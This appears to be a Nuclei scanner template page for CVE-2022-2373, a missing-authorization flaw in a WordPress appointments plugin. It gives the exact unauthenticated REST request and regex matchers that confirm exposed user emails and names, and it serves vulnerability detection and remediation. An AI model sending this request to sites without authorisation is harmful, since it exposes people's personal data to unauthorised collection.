WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure

ID: CVE-2022-2373

Severity: medium

Author: theamanrawat,theabhinavgaur

Tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua

Description

WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.

YAML Source

id: CVE-2022-2373

info:
  name: WordPress Simply Schedule Appointments <1.5.7.7 - Information Disclosure
  author: theamanrawat,theabhinavgaur
  severity: medium
  description: |
    WordPress Simply Schedule Appointments plugin before 1.5.7.7 is susceptible to information disclosure. The plugin is missing authorization in a REST endpoint, which can allow an attacker to retrieve user details such as name and email address.
  impact: |
    An attacker can exploit this vulnerability to gain sensitive information from the target system.
  remediation: |
    Update to the latest version of the Simply Schedule Appointments plugin (1.5.7.7 or higher) to fix the information disclosure vulnerability.
  reference:
    - https://wpscan.com/vulnerability/6aa9aa0d-b447-4584-a07e-b8a0d1b83a31
    - https://wordpress.org/plugins/simply-schedule-appointments/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-2373
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-2373
    cwe-id: CWE-862
    epss-score: 0.00292
    epss-percentile: 0.68538
    cpe: cpe:2.3:a:nsqua:simply_schedule_appointments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: nsqua
    product: simply_schedule_appointments
    framework: wordpress
  tags: cve,cve2022,simply-schedule-appointments,unauth,wpscan,wordpress,wp-plugin,wp,nsqua

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/ssa/v1/users"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - application/json

      - type: regex
        regex:
          - 'response_code":200'
          - '"email":"([a-zA-Z-_0-9@.]+)","display_name":"([a-zA-Z-_0-9@.]+)","gravatar_url":"http?:\\\/\\\/([a-z0-9A-Z.\\\/?=&@_-]+)"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201152b7b5acb2724645a27731bc4ed4d2ec2d7f56971c508c086c5436b1071699022100ad30a2544420b390950c2b2a3d191caa4391634818b64616ef8d5c3b4c04b2a0:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-2373.yaml"

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